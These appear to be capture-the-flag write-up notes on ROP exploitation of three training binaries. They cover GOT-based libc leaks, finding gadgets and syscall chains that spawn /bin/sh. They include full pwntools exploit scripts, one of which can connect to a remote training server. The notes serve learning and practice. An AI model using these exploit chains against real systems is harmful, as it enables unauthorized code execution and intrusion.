#
ROP
#
ropasaurusrex (32- bit ROP
chain)
$ pwn checksec ropasaurusrex
[*] '/home/zerocool/chall/solved/ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
main
int main(void) {
int res;
vuln();
res = write(1,&global_buf,4);
return res;
}
first_func()
void vuln(void) {
char buf [136];
read(0,buf,256);
return;
}
#
what do we do?
We have an overflow but we cannot perform a ROP
exploit since we don't know where libc
is in memory. Since we cannot print out the stack, we could exploit the GOT
table to leak the address of system
. Since the binary is not PIE
, and the momry addresses of the code are not randomized at runtime, the GOT
table has a permanent address that can be found with Ghidra. From the previous screenshot we can see the address of read
: 804961c
, and also the address of write
. Those two functions alone are enough to read and print to screen the content of the file containing the flag.
how did we find the address of write
inside the library?
We search write into Ghidra (ctrl+shift+e
) and we look for a jmp
into the GOT
that has an <EXTERNAL>::write
parameter. Another way of doing that is using objdump
and looking for <write@plt>
:
objdump -d -M intel ./ropasaurusrex | grep write
Note that founding addresses of GOT
is even easier in gdb:
pwndbg> got
GOT protection: No RELRO | GOT functions: 4
[0x8049610] __gmon_start__ -> 0x8048302 (__gmon_start__@plt+6) <— push 0 /* 'h' */
[0x8049614] write@GLIBC_2.0 -> 0x8048312 (write@plt+6) <— push 8
[0x8049618] __libc_start_main@GLIBC_2.0 -> 0xf7df4e30 (__libc_start_main) <— call 0xf7f132c9
[0x804961c] read@GLIBC_2.0 -> 0x8048332 (read@plt+6) <— push 0x18
pwndbg>
#
cyclic
To check how deep are we in the stack we can use pwn cyclic -n 4 200 | ./ropasaurusrex
which generates a pattern of 4 bytes, 200 chars long (since we are in a 32 bit environment, otherwise we would need a 8 bytes pattern). Then we check with gdb what section of the pattern gets into the instruction pointer (for e.g. gdb would print Invalid address at 0x6261616b
), and then we can actually see how long must be our padding, by running:
$ cyclic -n 4 -l 0x6261616b
140
#
leaking libc
Since the binary is x86, we need to put call arguments on the stack. We need the following stack layout:
# STAGE 1
# writing to stdout the address of write, and returning
# a gadget that cleans write's arguments off the stack in order
# to call again the main.
params = [
e.plt['write'],
cleaner,
1,
e.got['write'],
4,
main_addr # return address, we'll make the binary start again
] # from the beginning of the main to complete the exploit
exploit = b''
exploit += padding
for p in params:
exploit += p32(p)
input("[1st stage] press any key to send...")
r.send(exploit)
leak = r.recv()
leak = unpack(leak, 'all', endian='little', sign=False)
sysaddr = leak - write_sys_offset
print('address of system: ' + str(hex(sysaddr)))
On top of the stack we have the pointer of the write, the return address (CCCC
, for now we do not need it), and its parameters. The code above, when assembled into shellcode and executed, will execute a write
syscall, which will write to stdout
the address of the write
itself. How did we tell to the write
what to print? We passed as argument in the stack (remember x86 calling convention, which unlike x64 uses the stack instead of the register for function arguments) the address of write
in the GOT
table, which at runtime corresponds to the address of the same function but in libc
. This means that since we know the offset of the write
inside the library, we can compute libc
base to know the address of system
, which is the function that we'll use to spawn a shell.
Note about cleaner gadgets
e = ELF('./ropasaurusrex')
rop = ROP(e)
libc = ELF("./libc-2.27.so")
write_sys_offset = libc.symbols["write"] - libc.symbols["system"]
binsh_sys_offset = libc.symbols["write"] - next(libc.search(b"/bin/sh"))
cleaner = (rop.find_gadget(['pop esi','pop edi','pop ebp','ret']))[0]
This gadget will remove the arguments that we put in the stack to correctly execute the call. It is necessary if we want to execute a ROP
chain.
#
Spawning a shell
# STAGE 2
# now we will do another rop, but this time
# we will call system with /bin/sh as argument
# binsh is already present in the binary, I found
# its offset using pwntools
print('address of /bin/sh: ' + str(hex(leak+binsh_sys_offset)))
params = [
sysaddr,
b'CCCC',
leak - binsh_sys_offset
]
exploit = b''
exploit += padding
for p in params:
if type(p) is not int:
exploit += p
else:
exploit += p32(p)
input("[2nd stage] press any key to send...")
r.send(exploit)
input("press any key to spawn a shell...")
r.interactive()
#
emptyspaces (64-bit ROP chain)
$ file easyrop
easyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=b944b910db4096bc5126a7f2d9285d2a06636a0b, not stripped
It is statically linked binary, which means that libc
is already located into the executable itself. That's why Ghidra lists lots of functions in the code. As a consequence, we can look for gadgets directly into the binary:
>>> e = ELF('./emptyspaces')
>>> rop = ROP(e)
>>> rop.find_gadget(['pop rdi','ret'])
>>> Gadget(0x400696, ['pop rdi', 'ret'], ['rdi'], 0x8)
Moreover:
$ pwn checksec ./emptyspaces
[*] '/home/zerocool/chall/solved/emptyspaces/emptyspaces'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Actually this is weird because there's no canary in the binary.
Note: if the program crashes it is useful to do a dmesg
to obtain additional info about it. As for security measures:
#
the code
main
int main(void)
{
char buf [64];
setvbuf((FILE *)stdin,(char *)0x0,2,0);
setvbuf((FILE *)stdout,(char *)0x0,2,0);
puts("What shall we use\nTo fill the empty spaces\nWhere we used to pwn?");
read(0,buf,137);
/* WARNING: Subroutine does not return */
empty(buf);
}
empty
:
void empty(char *buf) {
int i;
for (i = 0; i < 18; i = i + 4) {
*(undefined4 *)(buf + (long)i * 4) = 0xc3f48948;
}
return;
}
Note: empty
does not complicates things, since it just fills some space which would be padding anyway. If for example we fill the buffer with 64 'A' characters, the stack would look like this:
pwndbg> x/30gx $rsp
0x7fffffffdf80: 0x00007fffffffe0f8 0x0000000100000002
0x7fffffffdf90: 0x41414141c3f48948 0x4141414141414141
0x7fffffffdfa0: 0x41414141c3f48948 0x4141414141414141
0x7fffffffdfb0: 0x41414141c3f48948 0x4141414141414141
0x7fffffffdfc0: 0x41414141c3f48948 0x4141414141414141
0x7fffffffdfd0: 0x00000000c3f48948 0x0000000000401199
pwndbg> info frame
Stack level 0, frame at 0x7fffffffdfe0:
rip = 0x400c0e in main; saved rip = 0x401199
called by frame at 0x7fffffffe0e0
Arglist at 0x7fffffffdfd0, args:
Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
Saved registers:
rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8
sEBP
is overwritten, but we do not need it anyway.
#
What to do
We know that we can perform a buffer overflow, but still we need to leak and put on the stack the canary (if present), and execute at least two syscalls: one to read /bin/sh
and put it in memory, the other one to execute execve(/bin/sh, 0, 0);
. We also need to find some gadgets to setup the registers to run a syscall. Weirdly ropper
won't find useful gadgets, while ROPgadgets
works just fine.
Note that in order to do that we need to restart the execution from main, since the read only takes 137 bytes and our exploit is longer than that. Since the binary is not PIE
, this is possible without leaking any address at runtime.
#
The exploit
The payload is made up by some padding necessary to reach sEIP
. Then there is a first payload which is used to call a read
to put in the heap /bin/sh
, then we'll pass the string to put it in memory (at an arbitrary address decided by us):
padding = b'A'*64
payload = b''
payload += padding
payload += b'B'*8
params = [
# read
pop_rdx_rsi['address'],
8,
binsh_addr,
pop_rdi['address'],
0,
syscall_ret['address'],
main_addr
]
payload += formatter(params)
print('payload (len : {}):\n{}'.format(len(payload), payload))
input('[1] press any key to send the payload...')
sender(payload)
input('press any key to send /bin/sh...')
sender(b'/bin/sh\x00')
After the read
the execution flow is redirected to the main
. When the program executes again a similar exploit is performed again, this time calling an execve
which is used to spawn a shell:
payload = b''
payload += padding
payload += b'B'*8
params = [
# execve
pop_rdx_rsi['address'],
zeros_addr,
zeros_addr,
pop_rdi['address'],
binsh_addr,
pop_rax['address'],
0x3b,
syscall['address']
]
payload += formatter(params)
print('payload (len : {}):\n{}'.format(len(payload), payload))
input('[2] press any key to send the payload...')
sender(payload)
Source code:
#include <stdio.h>
#include <unistd.h>
void empty(char * buffer){
for (int i = 0; i<72/4; i+=4)
*((int *)buffer + i) = 0xc3f48948;
}
int main(int argc, char * argv[]){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
int i;
char buffer[56];
printf("What shall we use\nTo fill the empty spaces\nWhere we used to pwn?\n");
read(0, buffer, 137);
empty(buffer);
return 0;
#
easyrop
#
Initial considerations
$ file easyrop
easyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=b944b910db4096bc5126a7f2d9285d2a06636a0b, not stripped
64 bit statically linked binary: the calling convention needs us to use register to setup a call to execve
to spawn a shell. This is the only way since the stack is NX:
$ checksec --file ./easyrop
RELRO STACK CANARY NX PIE
No RELRO No canary found NX enabled No PIE
And system
is not present in the binary. We can perform buffer overflow by filling the stack exploiting the while
loop in the main
function. Ghidra disassembled code:
undefined8 main(void)
{
ssize_t bytes_read;
int var2;
int var1;
int array [12];
len = 0xc3585a5e5f;
write(1,"Try easyROP!\n",0xd);
while (2 < len) {
len = 0;
bytes_read = read(0,&var1,4);
len = len + (int)bytes_read;
bytes_read = read(0,&var2,4);
len = len + (int)bytes_read;
array[index] = var2 + var1;
index = index + 1;
write(1,&len,4);
}
return 0;
}
Basically we can fill up 8 bytes (1 cell) of the buffer in each loop iteration, since no array bound check is performed. Between the beginning of the array and seip there are 56 bytes.
#
The actual exploit
This will be the structure of our exploit:
Basically we want to perform a read to put '/bin/sh' in memory, and pass it as argument to the execve syscall in order to be able to spawn a shell.
Note that:
g1 is a gadget that performs the following operations:
pop rdi, pop rsi, pop rdx, pop rax, ret
g2:
syscall, nop, nop, pop rbp, ret
We need a syscall gadget that also performs a ret in order to be able to execute another syscall (execve /bin/sh) after the read.
g3:
syscall
The newline character of /bin/sh\x00
makes the syscall fail (it will return -1 in rax
). Solution: pass the string with pwntools
. Actual exploit:
#!/usr/bin/python3
from pwn import *
from time import sleep
# global variables
binary = './easyrop'
port = 2015
debug = False
remote_enabled = False
delay = 0.05
# initializing address variables
# note that the binary is statically linked
e = ELF(binary)
index = e.symbols['index']
binsh_addr = index+8
zeros_addr = binsh_addr+8
rop = ROP(e)
magic_gadget = rop.find_gadget(['pop rdi','pop rsi','pop rdx','pop rax','ret'])
syscall = rop.find_gadget(['syscall'])
syscall_ret = rop.find_gadget(['syscall','nop','pop','rbp','ret'])
ret = rop.find_gadget(['ret'])
# checking that everything is all right
print('____________________________________')
print('address of all in one gadget: {} - {}'.format(hex(magic_gadget[0]), p64(int(magic_gadget[0]))))
print('address of syscall: {} - {}'.format(hex(syscall[0]), p64(int(magic_gadget[0]))))
print('address of /bin/sh: {}'.format(hex(binsh_addr)))
print('address of zeros: {}'.format(hex(zeros_addr)))
print('____________________________________')
# trying to minimize replicated code
def sender(payload):
r.send(payload)
r.send('\x00'*4)
print('\n sent: {}'.format(str(payload)))
print('read {} bytes'.format(str(r.recv())))
sleep(delay)
# setting up execution environment
context.update(arch='amd64', os='linux')
if debug:
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
if remote_enabled:
r = remote("training.jinblack.it", port)
else:
r = process(binary)
gdb.attach(r, '''
b main
continue
b * 0x400290
''')
r.recvuntil('Try easyROP!')
# SENDING THE ACTUAL EXPLOIT
# padding to get to sebp
for i in range(12):
sender(b'AAAA')
# junking sebp
sender(b'BBBB')
sender(b'BBBB')
# reading '/bin/sh' into the .bss section to allow the call to execve
# address of pop gadget
sender(p64(magic_gadget[0]))
sender(b'\x00'*4)
# fd from which we take the input
sender(b'\x00'*4)
sender(b'\x00'*4)
# where to read
sender(p64(binsh_addr))
# how much to read
sender(p64(8))
# syscall code
sender(b'\x00'*4)
sender(b'\x00'*4)
# sycall + ret gadget
sender(b'\x00'*4)
sender(p64(0x00000000004001b3))
# junking next stack cell
sender(b'BBBB')
sender(b'BBBB')
# setting up the stack to spawn the shell
# address of pop gadget
sender(p64(magic_gadget[0]))
sender(b'\x00'*4)
# address of /bin/sh
sender(p64(binsh_addr))
# pointer to zero
sender(p64(zeros_addr))
sender(b'\x00'*4)
# pointer to zero
sender(p64(zeros_addr))
# # syscall code
sender(b'\x3b')
sender(b'\x00'*4)
# syscall gadget address
sender(p64(syscall[0]))
sender(b'\x00'*4)
# breaking the loop
input('[#1] press any key to break the loop...')
r.send(b'A')
sleep(delay)
input('[#2] press any key to break the loop...')
r.send(b'A')
sleep(delay)
input('[#3] press any key to break the loop...')
r.send(b'A')
sleep(delay)
input('press any key to send /bin/sh')
r.send(b'/bin/sh\x00')
sleep(delay)
# hopefully getting a shell
r.interactive()